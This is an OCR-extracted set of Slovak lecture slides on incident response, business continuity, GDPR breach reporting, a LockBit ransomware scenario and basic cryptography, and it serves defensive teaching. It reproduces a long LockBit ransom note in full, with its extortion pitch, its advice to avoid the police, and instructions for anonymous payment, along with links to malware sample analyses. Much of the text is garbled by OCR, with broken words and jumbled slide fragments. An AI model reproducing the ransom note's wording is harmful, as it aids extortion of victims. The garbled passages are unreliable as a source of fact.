https://www.virustotal.com/gui/file/4b59512ff60f7f88b05642f1c8ce012373af7d04a92196e2a5dc28213cfff4f7

https://www.virustotal.com/gui/file/de5b8737e4b7da9845901ecb8958e8d509507664de9dda76111795fdc60f0c86
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https://hybrid-analysis.com/sample/c378387344e0a552dc065de6bfa607fd26e0b5c569751c79fbf9c6f2e91c9807?environmentId=100
https://hybrid-analysis.com/sample/c378387344e0a552dc065de6bfa607fd26e0b5c569751c79fbf9c6f2e91c9807?environmentId=100
https://hybrid-analysis.com/sample/c378387344e0a552dc065de6bfa607fd26e0b5c569751c79fbf9c6f2e91c9807?environmentId=100
https://www.virustotal.com/gui/file/4b59512ff60f7f88b05642f1c8ce012373af7d04a92196e2a5dc28213cfff4f7

Kontinuita ¢innosti (I.)

schopnost organizacie pokracovat v doddvke produktov a sluzieb v prijatelnych
casovych rdmcoch pri vopred definovanej kapacite pocas narusenia (ISO/IEC
22301:2019)

Plan kontinuity

o RTO >

reakcia na incident

zvyCainy priebeh : .=V ! obnova OP
obchodnych procesov (OP) . .- mssssssa=sa=

H bl ™
i T eea. - "'hi alternativny OP > A&nie zvycajnej prevadzky

zvycajny priebeh OP

>

Zdroj: ISO/IEC 270035:2011
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Proaktivne
cinnosti

~ Kontinuita EinnoStl’(II.) * _'

Bezpecnostny

incident

Reaktivne
cinnosti

osetrenie rizik,

e

test akénych plén ﬂ> detekcia odpoved na incident obnova i

'/ |

'IIII 1" ) |

i i I

1 i i

:{ tas obnovy (recovery time) }: !

1 i i

1 i i

1 i i i

1 | 1 i

i I i ;

il (as do aktivacie planu =———————7 ' l

I | 1 |

1 i i i

Zvycajna -
prevadzka = detekiny Cas -)l
cas 0 ‘
detekcia zaciatok obnovené na incident navrat k
ntu incidentu obnovy minimalne poziadavky vyrieSeny zvycajnému OP
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Kontinuita ¢innosti (lll.)

. Proaktivne

Detekcia

=i B ' Reaktivne

©
u = -
// ‘4\
AA LA \
" = ¢ i \
- ' \
s sV e £
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Average Number of Days to Detect Average Number of Days to Contain
Breach by Industry Breach by Industry

Entertainment
Healthcare
Media

Education

Retail

Hospitality
Consumer
Transportation
Services
Pharmaceuticals
Public Sector
Technology
Communications
Research
Manufacturing
Financial Services

Energy

Zdroj: https://wwwivaronisicom/blog/data-breach-response-times/

Healthcare
Education
Consumer
Entertainment
Media
Hospitality
Energy

Retail

Services
Pharmaceuticals
Manufacturing
Transportation
Technology
Communications
Public Sector
Financial Services

Research
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Kontinuita ¢innosti (V.)

Impact of key factors on total cost of a data breach

DevSecOps approach

Employee training

IR plan and testing

AI, machine learning—driven insights
IR team

Encryption

Security information and event management (SIEM)
SOAR tools

Proactive threat hunting

Threat intelligence

Insurance protection

Offensive security testing

Identity and access management (IAM)
EDR tools

Data security and protection software
Board-level oversight

ASM tools

CISO appointed

MSSP

Remote workforce

Supply chain breach

IaT or OT environment impacted
Third-party involvement

Migration to the cloud
Noncompliance with regulations
Security skills shortage

Security system complexity

-$249,278 I
-$232,867 I
-$232,008 I
-$225,627 I
-$221,794 I
-$221,593 I
-$202,347 I
-$202,232 I
-$201,111 I
-$196,93¢ I
-$196,452 I
-$187,703 I
-$180,358 NN
-$174,267 I
-$170,412 I
-$167,818 I
-$162,278 I
-$130,086 I
-$73,082 I
$173,074
$192,485
$195,428

$216,441

$218,362

$218,915

$238,637
$240,889

-$300,000 -$200,000 -$100,000 Avg.cost $100,000 $200,000 $300,000

Zdroj: IBM Security - Cost of a Data Breach Report 2023

Faktory:

Vzdelavanie zamestnancov

Plany na riesenie incidentov a ich
testovanie

Tim na rieSenie incidentov
Sifrovanie

Pouzitie monitorovanie
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Kontinuita ¢innosti (VI.)

Plan kontinuity

reakcia na incident

zvycajny priebeh
obchodnych procesov (OP)

RTO F:
i
i
i
:
i
i
i
i
:
i
i
i

alternativny OP

obnova OP

zZvycajny priebeh OP

< A&nie zvycajnej prevadzky

Reakcia na incident

(IR)

Zdroj: IBM Security - Cost of a Data Breach Report 2023

>

Obnova cinnosti

(BR)



- GeKa Bezpecnostny incident

= Udalost — akukolvek pozorovatelnt udalost, ku ktorej doslo v uréitom casovom
bode v systéme alebo sieti, najma ak je dblezita

= Bezpecnostna udalost — pozorovatelna udalost v prostredi informacnych
a komunikacnych technoldgii, ktora je relevantna pre bezpecnost

= Bezpecnostny incident — porusenie alebo bezprostrednu hrozbu porusenia
pravidiel pocCitacovej bezpecnosti, prijatelnych zasad pouzivania alebo

standardnych bezpecnostnych postupov

Udalosti

Bezpecnostné udalosti

. Bezpecnostné incidenty



Ciel rieSenia bezpecnostného
incidentu

Zastavit utok

L Zstavitiok
Zistit dopad pre organizaciu
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© “&cxs Pravny ramec

= Nariadenie Europskeho parlamentu a Rady
(EU) 2016/679 z 27. aprila 2016 o ochrane
fyzickych osbb pri spracuvani osobnych
udajov a o volnom pohybe takychto
udajov, ktorym sa zrusuje smernica
95/46/ES (vSeobecné nariadenie o ochrane
udajov)

= Zakon €. 69/2018 Z. z. o kybernetickej
bezpeclnosti

= Zakon ¢.95/2019 Z. z. o informacnych
technoldgiach vo verejnej sprave




Zdroj: https://www.a-base.sk/sluzby/bezpecnost/

Ransomware

L4
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Scenar (l.)

T Os i

Recycle Bin Micros oft  rmailmb.jp... wi3FiR2Zh.RE
Edge ADME et

£8 B

ONGstype...

H BB

Adobe animale.rtf... submitran

LockBit Black
5

feio besiecson. i Al yOUr important files are stolen and encrypted!
You must find wlJ8FiR2h.README.txt file
q b and follow the instruction!

FINESSSE,. trustgrant....
Ch ome

A B

WLC media leegeorge.r...
player

B33 PM

AW ghuon B
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" Ekcke Scenar (II.)

& | [ 5 | Documents - [ X
Home Share View
< _J Yot NI (ST EFzhs 7 Oper fHH select an
s w= Copy path s Edit Select none
- N .d e Ve d s b Pin to Quick Cop Paste o Basts shorot Copy tc Renamse New Properties & Histo Ihvert salectioh
ejde otvorit Ziadne subory B foees e G Mt | ot
Clipboard Organize New Open Select
. p o . P R &« ad T '_: > ThisPC > Documents > v & Search Documents e
= Dokonca ani na ulozisku organizacie e Bt :

#P Saved Games OneNote Notebooks

File folder
A “ /- Searches Outlook Files /23/2024 8:25 PM File folder
- IT pOdpora Je nedOStupna B videos PowerShell 3/23/2024 8:25 PM File folder
v [ This PC 3 companiesselling.ritfawl]8FiRZh WLIBFIRZH File 4 KB
. .« 7 ’rv I ; [3 Databasel.accdb.wil8FiR2h WL JBFIR2H File 13 KB
= Kolegovia volaju/piSu SMS spravy @ networkspackagetwleFRCh
. Dvoop 3 outlevels.tfwl)8FiRZh : WL JBFIR2 4KB
pEkDosiment 3 planningbuilding.rtf.awl)8FiR2h 972372024 8:25 PM WLISFIR2H Fil 4KB
& Downloads 3 privacymedicine.if.wlBFiR2h 523 WLISFIRZH Fil 4KB
D Music =] wlIBFiRZh.README. txt 0/23/2024 8:25 PM Text Documen AKE
= Pictures
B Videos

aa Local Disk (C:)
T+ Libraries
¥ Network
v [E Control Panel

10 items == [&




) wIBFiR2h.README txt - Notepad

File Edit Format ‘View Help

~eee LockBit 3.@ the world's fastest ransomware since 201G~we~
»»>> Your data are stolen and encrypted
The data will be published on TOR website if wou do not pay the ransom
DeathGrip Ransomware Attack | t.me/DeathGripRansomware
This computer is attacked by russian ransomware community of professional black hat hackers.
Your every single documents / details is now under obserwation of those hackers.

If you want to get it back then you have to pay 1808% for it.

This Attack Is Done By Team RansomVerse You Can Find Us On Telegram
@DeathGripRansomware Contact The Qwner For The Decrypter Of This Ransomware

| #DeathGripMalware

>3>»> What guarantees that we will not deceiwve you?
We are nat a nalitically marivated orain and we dn nat need anvthineg ather than vonir manew

Ln1, Col1 10086 Windows (CRLF)
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: - Tor Browser Links for chat:
\},QIEFAS“ o ! ’
fKCKB Scenar (IV.

%,

<F

A
- B T ]

>>>>> Your personal ID: - <<<<<

"JWJISCM N

q?
=
5]
vl
%

)

= Ransom note — informacia o vykupnom

66—~ [ ockBit 3.0 the world's fastest and most stable ransomware from 2019~~~

>>>>> Your data is stolen and encrypted.

If you don't pay the ransom, the data will be published on our TOR darknet sites. Keep in mind that
once your data appears on our leak site, it could be bought by your competitors at any second, so
don't hesitate for a long time. The sooner you pay the ransom, the sooner your company will be safe.
Tor Browser Links:

Links for normal browser:

>>>>> What guarantee is there that we won't cheat you?

We are the oldest ransomware affiliate program on the planet, nothing is more important than our
reputation. We are not a politically motivated group and we want nothing more than money. If you pay,
we will provide you with decryption software and destroy the stolen data. After you pay the ransom,
you will quickly make even more money. Treat this situation simply as a paid training for your system
administrators, because it is due to your corporate network not being properly configured that we were
able to attack you. Our pentest services should be paid just like you pay the salaries of your system
administrators. Get over it and pay for it. If we don't give you a decryptor or delete your data after you
pay. no one will pay us in the future. You can get more information about us on llon Musk's Twitter
hxxps.Awitter com/hashtagdockbit?f=live

>>>>> You need fo contact us and decrypt one file for free on TOR darknet sites with your personal
1D

Download and install Tor Browser hxxps./www forproject org/

Wiite to the chat room and wait for an answer, we'll guarantee a response from you. If you need a
unique 1D for correspondence with us that no one will know about, tell it in the chat we will generate
a secret chat for you and give you his ID via private one-time memos service, ho one can find out this
1D but you. Sometimes you will have to wait some time for our reply, this is because we have a lot of
work and we attack hundreds of companies around the world.

Tor Browser Links for chat:

e e e T e e e e e B e T e e e e B T e e e e e e e S e e e e e B B S e e B B D R e B R S
>>>>> Warning! Do not delete or modify encrypted files, it will lead to problems with decryption of files!
>>>>> Don't go to the police or the FBI for help and don't tell anyone that we attacked you.

They won't help and will only make things worse for you. In 3 years not a single member of our group
has been caught by the police, we are fop nofch hackers and we never leave a trail of crime. The
police will try to prohibit you from paying the ransom in any way. The first thing they will tell you is that
there is no guarantee to decrypt your files and remove stolen files, this is not true, we can do a test
decryption before paying and your data will be guaranteed to be removed because it is a matter of our
reputation, we make hundreds of millions of dollars and are not going to lose our revenue because of
your files. It is very beneficial for the police and FBI to let everyone on the planet know about your
data leak because then your state will get the fines budgeted for you due to GDPR and other similar
laws. The fines will be used to fund the police and the FBI, they will eat more sweet coffee donuts
and get fatter and fatter. The police and the FBI don't care what losses you suffer as a result of our
attack, and we will help you get rid of all your problems for a modest sum of money. Along with this
you should know that it is not necessarily your company that has fo pay the ransom and not
necessarily from your bank account, it can be done by an unidentified person, such as any
philanthropist who loves your company, for example, Elon Musk, so the police will not do anything to
you if someone pays the ransom for you. If you're worried that someone will frace your bank transfers,
you can easily buy cryptocurrency for cash, thus leaving no digital trail that someone from your
company paid our ransom. The police and FBI will not be able to stop lawsuits from your customers
for leaking personal and private information. The police and FBI will not protect you from repeated
attacks. Paying the ransom to us is much cheaper and more profitable than paying fines and legal
fees.

>>>>> What are the dangers of leaking your company’'s data.

First of all. you will receive fines from the government such as the GDRP and many others, you can
be sued by customers of your firm for leaking information that was confidential. Your leaked data will
be used by all the hackers on the planet for various unpleasant things. For example, social
engineering, your employees' personal data can be used to re-infilfrate your company. Bank details and
passports can be used to create bank accounts and online wallets through which criminal money will
be laundered. On another vacation trip, you will have to explain to the FBI where you got millions of
dolfars worth of stolen cryptocurrency transferred through your accounts on cryptocurrency exchanges.
Your personal information could be used to make loans or buy appliances. You would later have to
prove in court that it wasn't you who took out the loan and pay off someone else’s loan. Your
competitors may use the stolen information to steal technology or fo improve their processes, your
working methods, suppliers, investors, sponsors, employees, it will all be in the public domain. You
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274844568a6a9ce334d71efeac21f528d7.. <
MDS: 7E503 0295DA017914A957D04
ox Start: 23.09.2 200 Total time: 150s
Win10 64 bit  gisaksi

ransomware  stealer
Indicators: A2 3
éj Tracker. LockBit, Ransomware, Stealer
Reports + Get sample = 10c () Restart
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Text report Graph ChatGPT Export =
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10 64 bit

)
e

1524 | COM ShellExperienceHost.exe -ServerName:App.AppXtk181tbxbee.
o k5 kg 98
22042

COM SearchApp.exe -ServerName:CortanaUl.AppX8z9r6jm96hw4b...
ay 2 & 6k 188
732 bit

-
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7 32 bit

-
L

MOVE YOUR MOUSE TO VIEW SCREENSHOTS

(2

Profile

w

HTTP Requests 61 Connections 2 DNS Requests Threats

Pricin > 2
2 Timeshift Headers Process name

= ns GET | 200: 0K
Contacts 3 NS | 200: 0K
FAQ S | 204: No Content

=
¢ 404: Not Found

| 204: No Content

Log Out

FREE trial

[1020] 2 d71efeac21528d7 377¢978cc12. .exe [YARA] LockBit is detected

Get more awesome features with premium access! View more

: https://app.any.run/tasks/7c048del-ccdc-47df-9f0f-985cf31dea76




Postup rieSenia bezpecnostného
incidentu

= - Fazy rieSenia bezpecnostnych incidentov podla SANS

Ponaucenie
Detekcia

a analyza

Odstranenie

Zdroj: https://www.sans.org/reading-room/whitepapers/incident/incident-handlers-handbook-33901
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ldentifikacia bezpecnostnych
incidentov

* |ncidentom sa vidy nedd zabranit, musia sa vSak vzdy identifikovat

n Externé Zd rOje Nahlasenie incidentu

Ak cheete nahlasit incident, zavolajte na niektoré z tychto tefénnych Gisel alebo ndm poslite email.
Vsetky potrebné detaily si od Vas pocas rozhovoru vypytame.

" |né organizacie — hlasenia (SK-CERT,...)

incident@upijs.sk

= Automatizované systémy (napr. have | been pwned?) ... ...

Vseobecny email

csirt@upjs.sk

" Interné zdroje N
* Nahlasovanie cez kontaktné miesto (email/telefén) e

p : Ad
= Monitorovanie (SIEM) o
= Vl]astna dohladavacia ¢innost baa?

PGP kl'aé

= Ako identifikujete bezpecnostné incidenty? -
[l ]

Fingerprint: BBD5 DT@6 CBA1
e
o
St
Zdroj: https://csirt.upjs.sk/#/kontakt E 3



" GckB Analyza bezpe¢nostnych incidentov

Overit si udalost
Bezpecnostny incident vs. technicky incident

Urcenie typu bezpecnostného incidentu
= Zdielanie informacii
= Spustenie Specifického postupu

Predbezné urcenie rozsahu
" urcenie rozsahu - identifikacia systémov, ludi a informacnych aktiv, ktoré su
sucastou udalosti.
= podozrivé udalosti — nové ucty, modifikacia suborov, zmeny vo vykone a pod.

Madte IT oddelenie? Specificky postup?
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= eCSIRT.net mklV.
= CIRCL.LU taxondmia,

Taxondmia bezpecnostnych
incidentov (l.)

= SpoloCna taxondmia pre organy cinné v trestnom konani a jednotky CSIRT

(Common Taxonomy for LE and CSIRTSs).

REFERENCE
-lr:gg:ll\?.lm Y INCIDENT EXAMPLES (2NP INCIDENT TYPE (2Ne
CLASSIFICATION ALy COLUMN)
(15T COLUMN)
Virus Infection
Worm Distribution
Trojan
Malicious Code
Spyware
Dialler
Rootkit

Zdroj: https://www.trusted-introducer.org/Incident-Classification-Taxonomy.pdf

COMMON TAXONOMY
FOR LEA AND CSIRT

INCIDENT
CLASSIFICATION (157
COLUMN)

Malware
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“G&exe  Evidencia bezpeénostného incidentu

= Evidencia bezpecnostnych incidentov
= Tiketovaci systém / Internd evidencia (emailové spravy)
= Zaznamenajte si postup + dolezité udaje

Title

Ako by ste evidovali Np—— =
bezpecnostny incident? St

i
E
|
oo o e ooaaeag

Zdroj: https://strangebee.com/thehive/
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Komunikacia bezpeénostného
incidentu (I.)
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MARKING DEFINITIONS
Traffic Light Protocol (TLP)

TLP:RED is used to
protect sensitive
information that

should only be shared
with a limited number
of authorized
recipients, due to
potential risks.
Sharing is not
allowed.

TLP:AMBER is used to
protect sensitive
information that must
be shared on a need-
to-know basis within
an organization and
its clients to prevent
harm.

Zdroj: https://docs.opencti.io/latest/administration/segregation/

TLP:
AMBER
+STRICT

-~

TLP:AMBER+*STRICT
is used to protect
sensitive information
and used to restrict
sharing to an and not
its client.

TLP:GREEN is used to
share information
within a community
for awareness, but not
via public channels.
It should not be
shared outside of the
community.

TLP:CLEAR is used to
share information
without any
restrictions. The
information carries
minimal risk of misuse
and can be shared
freely in compliance
with copyright rules.




Komunikacia bezpe&nostného
incidentu (I1.)

S=EN | FAKED DATA [t

= PRESS ABOUTUS

= Partneri/klienti

" Média
o Nahla’SItl oleopalma.com.mx paybito.com

N
= Zamestnanci / utocnik

Greetings! Today we are posting here the new Quick Launch Se zZive SPRAVY TV & OPERATORI CYBERGAME Al MOBILMANIA PREMIOVE CITANIE VIDEO
company, "Oleopalma Compania Agroindustrial Cia an exchange the y ]
Ltda LLC". Company Description: Cleopalma is a PayBitoPro APls. naEheIA Remecnd
" company specialized in the cultivation, production, teams provide ¢ Hackeri zverejnili da’ta ukradnuté
= OCTK . : ; e o o
Univerzite Mateja Bela, za€inaju sa Sirit
’
internetom

: A , . PUBLISHED
= Povinné / dobrovolné hlasenia

= Urad na ochranu osobnych udajov
= NBU, Telekomunikaény drad

Universitas Matthiae Belii association
. Matej Bel University (commonly referred as Matej Bel or UMB),
(Slovak: Univerzita Mateja Bela) is a public research university in the
U N [\/[: RZHA central Slovak town of Banska Bystrica. The university was
MATEJA BELA established in 1992. At the moment, more than 6,000 students are

studying at the university.

o ] ] 2 i
= Komu by ste hlasili/komunikovali bezpecnostny R .
incident a aky’ SpéSObom? Zdroj: https://zive.aktuality.sk/clanok/cfRr3Xq/hackeri-zverejnili-data-ukradnute-

univerzite-mateja-bela-zacinaju-sa-sirit-internetom/



Komunikacia beipec”:no‘stného 3
incidentu (lll.) *

e Bezpecnostny

e Skutok
incident

e Organy Cinné v
trestnom konani e UOOU
¢ |dentifikovat

e Najst pachatela ,
dopad na OOU a

=

e BezpecCnostny
incident

CSIRT /
Dohladovy organ
e Zastavit incident,
zistit dopad
incidentu,
zamedzit
rovhakému
incidentu

urobit opatrenia

Bezpecnostny pohlad
Trestnopravny pohlad

Pohlad ochrany osobnych udajov
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Cl. 33 GDPR

Ktoré incidenty je potrebné oznamit podl'a GDPR?
" Porusenie ochrany osobnych udajov
" Porusenie bezpecnosti

Kto musi oznamovat?
= Kazdy prevadzkovatel a sprostredkovatel

Komu je potrebné incident oznamit?
= Uradu na ochranu osobnych udajov
= Dotknutym osobam (niektoré pripady)

Do kedy je potrebné incident oznamit?
= Bez zbytocného odkladu, resp. do 72 hodin

b Gicxa Komunikacia beZpeEnostného
: incidentu (IV.)

Formular pre prevadzkovatela na nahlasovanie bezpecnostnych
incidentov v zmysle Cl. 33 Nariadenia (EU)2016/679 a § 40 zakona &.

18/2018 Z. z

= Verzia pre tla¢

Formuldr je urceny pre prevadzkovatelov, ktori st povinni v zmysle £l. 33 NARIADENIA EUROPSKEHO PARLAMENTU A
RADY (EU) 2016/679 z 27. aprila 2016 o ochrane fyzickych osob pri spractivani osobnych tdajov a o voFnom pohybe
takychto ddajov, ktorym sa zrusuje smernica 95/46/E S (véeobecné nariadenie o ochrane Gdajov) (cFalej len ,,GDPR") ako aj
§ 40 zdkona c. 18/2018 Z. z. o ochrane osobnych tidajov a o zmene a doplneni niektorych zdkonov v zneni zakona .
21/2019 7. 7. (Falej len ,zakon*) bezodkladne oznamit’ Uradu na ochranu osobnych udajov SR {d‘alej len ,trad*), ako
dozornému organu v oblasti ochrany a spracivania osobnych tdajov porusenie ochrany osobnych udajov, ktore mbze

mat’ za nasledok riziko pre prava a slobody fyzickych osob.

@ Cr
Uvod Nahlad

Dokonéit

Qznamenie o porudeni ochrany osobnych Gdajov:

1.Identifikacia oznamovatefa bezpecnostného incidentu:

1.4 Oznamenie o porugeni ochrany osobnych udajov oznamujete v postaveni: *
Oznaéte ibs jednu meinost

) fyzickej osoby, ktora spraciva osobné Gdaje dotknutjch oséb

Ty pravnickej osoby, kiord spraciva osobné Odaje dotknutych osdb

Ty sprestredkovatela, ktorj v mene prevadzkovatela spraciva osobné Udaje dotknutjch osbb
2 ing

iné:

(v pripade wibary mofnost iné" popikta)

isidlo, u ktorého doslo k poruseniu ochrany oscbnych ldajov:

1.2 Nazov prevadzkovatela (fyzickalpravnicka osoba), ad

P

1.31€0:

1.4 Tel. kontakt:

2. Informdcie o zodpovednej osobe, resp. inej kontaktnej osobe opravnene] pre komunikaciu v mene
prevadzkovatefa vo veci porusenia ochrany osobnych Gdajov.

2.1 Mate uréenii zodpovedni osobu v oblasti ochrany osobnych ddajov: *
Oznaéte iba jednu moZnosf

https://dataprotection.gov.sk/sk/prevadzkovatelia/oznamenie-poruseni-
ochrany-osobnych-udajov/
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Zastavenie/Obmedzenie
bezpecnostného incidentu

= Blokovanie dalSieho pristupu alebo poskodenia systémov
= Vypnutie systému, odpojenie od siete, zmena pravidiel,
= ZvySenie Urovne monitorovania
= Malvér -> izolacia kompromitivanych systémov
= Phishing -> deaktivacia odkazu

= Co by ste robili v pripade ransomvér utoku?
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NERZTA

“&exe  Analyza bezpecCnostného incidentu

7" @ Dashboard i= Recent o Pending ©Q Search

"Jblaisou Sy

Summary

W File RT9975.htm! & score

= Zhromazdovanie digitalnych stop —
zaistovanie

A Feedback

00QPE0C0000000000

= Zhromazdenie podrobnosti o vektore
utoku a o krokoch podniknutych s cielom
umoznit uc¢inné odstranenie

uuuuuuu

SOLUTIONS v  PARTNERS ~ COMPANY v  BLOG | GETSTARTED

= \lyrazne technickd ¢ast A Q/ r THURﬁW
/N h@& '

&r

DOWNLOAD

= Viacero free/open-source ndastroj

https://cuckoo.cert.ee/analysis/2232081/summary/ https://www.nextron-systems.com/thor-lite/
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https://cuckoo.cert.ee/analysis/2232081/summary/

Odstranenie pri¢iny a obnova dat/
systémov (l.)

= |dentifikacia bezpecnostnych zranitelnosti

= Zalohy / zdlohovacie systémy — 1 z cielov Utoc¢nikov

MTO

= Recovery point objective (RPO)?
RPO RTO WRT

S *—T

Proces/ Udalost’/ Obnova Opatovné zacatie
¢innost’ incident (recovery) (resume)
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Odstranenie pri€iny a obnova dat /
systémov (ll.)

Parnert Oprojekee

< / > Domov Krypto gerif Ransomware: otazky a odpovede Preventivne rady Dedifrovacie nastroje

N O MORE RANSOM Nahlasenie trestného inu

Ransomware je malware, ktory
POTREBU] ETE uzamkne Vas potita a mobilné
- — zariadenia alebo zagifruje Vage
POMOCT elektronické data. V takom pripade sa
V4 N k (dajom nedostanete, pokial’
S Odom knutlm VaShO nezaplatite vykupné.
d. . ’I h e
Iglta neno ZIVOta Nie je to vSak zaruéené a
bez platenia nlkd.y by ste nikdy nemali

platit!
utocnikom*?

V stcasnej dobe nema kazdy typ ransomwaru svoje ries
Neustale kontrolujte tirto webovi stranku, pretoze now
aplikacie sa pridavané, ak si k dispozicii.

Novy desifrovaci

nastroj pre

https://www.nomoreransom.org/sk/index.html



“&exe  Uzavretie a priprava na bezpecnostny
incident

= Uzavretie bezpecnostného incidentu
= Aky by bol dopad u Vas?
= Aké systémy boli zasiahnuté?
" Bezpecnostné opatrenia?
= Lessons learned
= Ako to robit inak?
» Struktura siete, inventarizacia zariadeni
= Pristupy k zariadeniam (najma sietovym prvkom)
= Postupy
= Aké kroky vykonat
= Koho informovat
= Nastroje
" Mnozstvo open-source nastrojov
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Kryptoldgia

= Gréc. kryptos = ukryty + logos = slovo
= \Veda o utajovani sprav

= Delenie:
= Kryptografia — navrh systémov na zabezpecenie
udajov
= Algoritmus
= Casova zloZitost
= Bezpecnost

= Kryptoanalyza — navrh moznosti utokov na
kryptografické systémy
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fkcke Kryptologia v minulosti

S

VA
}
)

1L

S

Zdroj: https://en.wikipedia.org/wiki/Scytale#/media/File:Skytale.png, https://similarpng.com/encryption-key-logo-on-transparent-background-png/#getdownload,

https://www.enisa.europa.eu/news/enisa-news/cryptographic-tools-are-important-for-civil-society-and-industry/ @ @images/09f8915a-84a4-4fee-9753-94aa770f7424.jpeg.
https://www.hiclipart.com/free-transparent-background-png-clipart-mmffu/download



Utajovanie dokumentov

m Zabezpecenie prehliadania
internetovych stranok

= Zabezpecenie hesiel

= Zabezpecenie prevodu penazi — platba
kartou

= Anonymizacia podla pravnych predpisov

Zdroj: https://medium.com/@prashanthreddyt1234/real-life-applications-of-cryptography-162ddf2e917d,
https://arstechnica.com/information-technology/2024/10/the-sad-bizarre-tale-of-hype-fueling-fears-that-

modern-cryptography-is-dead/#gsc.tab=0, https://kosicednes.sk/spravy/rezort-vnutra-planuje-vydavat-
bezkontaktne-biometricke-obcianske-preukazy-este-v-tomto-roku/
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https://gchq.github.io/CyberChef/

CyberChef

-
Last build: 4 menths age - Version 10 is here! Read about the new features here
Input

%

SNERZTA 5

Download CyberChef i
Recipe

Operations

Search...
&~ LF

Favourites
Tr Raw Bytes

To Basetd
B0 ®

From Baseb4

ra
La

To Hex
From Hex
To Hexdump
From Hexdump
URL Decode
ac @
Qutput
\

Regular expression

Entropy
Fork

Magic
Tr Raw Bytes &= LF

Data format
@ ems

Encryption / Encoding

Public Key

Arithmetic / Logic
Auto Bake

A @

Networking

Language
= BAKE!

STEP

Utils

Date / Time

Extractors



Kryptografia

kfac

'

Vstupny text
(plain text)

Zasifrovany text
(cipher text)

Vstupny text
(plain text)

Zasifrovany text
(cipher text)
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Symetricka kryptografia (l.)

Alica N Bob

B a&—a
?

1kla¢
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" Gkeke Symetricka kryptografia (Il.)

Caesarova Sifra a posuvna Sifra

= Abecedny posun o fixny pocet znakov =
klac

= Ak je fixne nastavena ,dlzka posunu® na
3, hovorime o povodnej Caesarovej Sifre

> <3<

i

O<{—/ w

1

Doplii zpravu podle 3ifry vpravo nahore. CH | K T N

H R D
= Substitucna sifra EnYoH B

H K R D N H K R D N

CRYRINBIPERSSH B

H | CH R T R T N

CERYSCHTPERSSHD

Zdroj: https://eschovka.cz/product/?pid=577 84



Transpozicna Sifra

Symetricka kryptografia (III.).

" Prehodenie poradia znakov

= NapiSeme text d

o obdiZnika fixnej dizky a transponujeme

= Zvolime k, velkost bloku ako kluc

| NFOR
MACNA
BEZPE
CNOST
J EOKK

‘ IMBCJNAENEFCZOOONPSKRAETK
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%

NERZIT,
o )

Operations

rol

ROT13

ROT13 Brute Force
Favourites

Data format
Encryption / Encoding
Public Key
Arithmetic / Logic
Networking
Language

Utils

Symetricka kryptografia (IV.).

*

Recipe Sl ]
ROT13 O n
Rotate lower case chars
Rotate upper case chars

Amaount

|:| Rotate numbers 13

Auto Bake

+ 0Oz w =
°@

Input

Kryptograftia je super

mc 21 = 1 Tr Raw Bytes = LF

BOMm::
0@

Output

kelcgbteHSVH wr thore

mc 21 = 1

Tr Raw Bytes = LF

(9 1ms

Zdroj: https://gchq.github.io/CyberChef/
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JOZEFA §4,

Y - ckB Symetricka kryptografia (V.) .

Elektronické sluzby Uradu KSK su " AES - Rijndael

docasne nefunkéné " Blokova sifra
"Pevna dlzka bloku 128 bitov

Kosicky samospravny kraj sa za docasny vypadok sluzieb ospravedlnuje, . D Iika k|'lfl éa 128, 192, 256 b|tOV

dovodom je kyberneticky bezpecnostny incident.

%

<F

GWERZTA
A
Phioigom N

Encryption Decryption
Plaintext Ciphertext
[ Lo [ Ro | [ Rnu | Lnu |

Urad Kosického samospravneho kraja zaznamenal v utorok 5. septembra
VO svojom pocitacovom systéme nezvycajne aktivity, ktore boli vyhodnotene

{Ir=
Rl
1

ako kyberneticky bezpeq =mbvnako ako pri kybernetickom utoku

z oktobra 2021 malo 1st'p tzv. ransomver, feda druh skodliveho programu, ktory

dokaze uzamknut' zariagenie a zasifrovat’ Jho obsah.

| 111 READ THIS - IMPORTANT !l txt - Notepad

File Edit Format View Help
CLLLLLLLLLLLLLLLLL<< YOUR FILES ARE ENCRYPTED! >252352533553535>>>»>

SORRY! All personal files on your computer are encrypted. (K, @
File contents are encrypted with random key (AES-256; ECB mode).

Random key is encrypted with RSA public key (2048 bit). E" 6"

We STRONGLY RECOMMEND you NOT to use any “"decryption tools". Reo T Ton] [ Lo | Ro |
These tools can damage your data, making recover IMPOSSIBLE. Ciphertext Plaintext

Zdroj: https://en.m.wikipedia.org/wiki/File:Feistel_cipher_diagram_en.svg,
https://www.pcrisk.com/removal-guides/10766-aes256-ransomware



= Dizka textu, frekvencia, medzery
= Predlozky, spojky
= Jazyk textu — vyhoda

= Ak pozname prefix textu

= Kazda sprdva zacina/konci na ...

" Enigma — 3 pismena rovnaké v
dennom kdde (xxx, ddd) -
desifrovanie

Kryptoanalyza '(I.)

Insecure Channel

Ciphertext
Plaintext — A — Plalnteut
[
@& @
—
Alice Cryptanalyze Bnb

Eve

Plaintext (or something useful)

Zdroj: https://www.cs.virginia.edu/~evans/crypto/dayl-cryptanalysis.html
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" Gkexs Kryptoanalyza (ll.)

= COA — ciphertext only attack
= Utok len so znalostou Sifrového textu .

ANDREW HODGES

= KPA — known-plaintext attack e ——
, , , D HVDOHEBOOE | |
= Utok so znalostou otvoreného textu “W’gg:gg‘ ‘ : ‘
) =) DN DHVVAAHOHEOCGIE Y
A

ol

PRAPCAGC
2ROEEE - |
A NG (o (- !

= CPA — chosen-plaintext attack
= Utok s moZnostou volby otvoreného textu

ONROG

(e (6 (o |

= CCA — chosen-ciphertext attack
= Utok s moznostou volby Sifrového textu

FHE BOOK THAT INSPIRED THE FILM
THE IMITATION GAMI

= Side channels attack

Zdroj: https://www.barnesandnoble.com/readouts/alan-turing-the-enigma-the-book-that-inspired-the-film-the-imitation-game-updated-edition/



%

SNERZTA 5

Download CyberChef ¥
Operations

brute

XOR Brute Force
ROT13 Brute Force
ROTA47 Brute Force
Text Encoding Brute Force
Berypt

Magic

NT Hash

Favourites

Data format
Encryption / Enceding
Public Key

Arithmetic / Logic
Networking

Language

Utils

Date / Time
Extractors
Compression

Hashing

Code tidy

Forensics

Zdroj: https://gchq.github.io/CyberChef/

Kryptoanalyza (lll.)

Last build: 4 months age - Version 10 is here! Read about the new features here
Recipe Al Input

ROT13 Brute Force ® n

Rotate lower case chars Rotate upper case chars [J Rotate numbers

Sample length Sample offset

100 o Print amount Crib (known plaintext stri...

mac 21

Qutput

Amount
Amount
Amount
Amount
Amount
Amount
Amount
Amount
Amount
Amount
Amount
Amount
Amount
Amount
Amount
Amount
Amount
Amount

Amount
Amount
Auto Bake

STEP L. BAKE!

Fac 574

= q

W00~

a5

Xelcgbtensvn wr icrd

: Dkrimhzktybt
: Elsjnialuzcu
: Fmtkojbmvadv
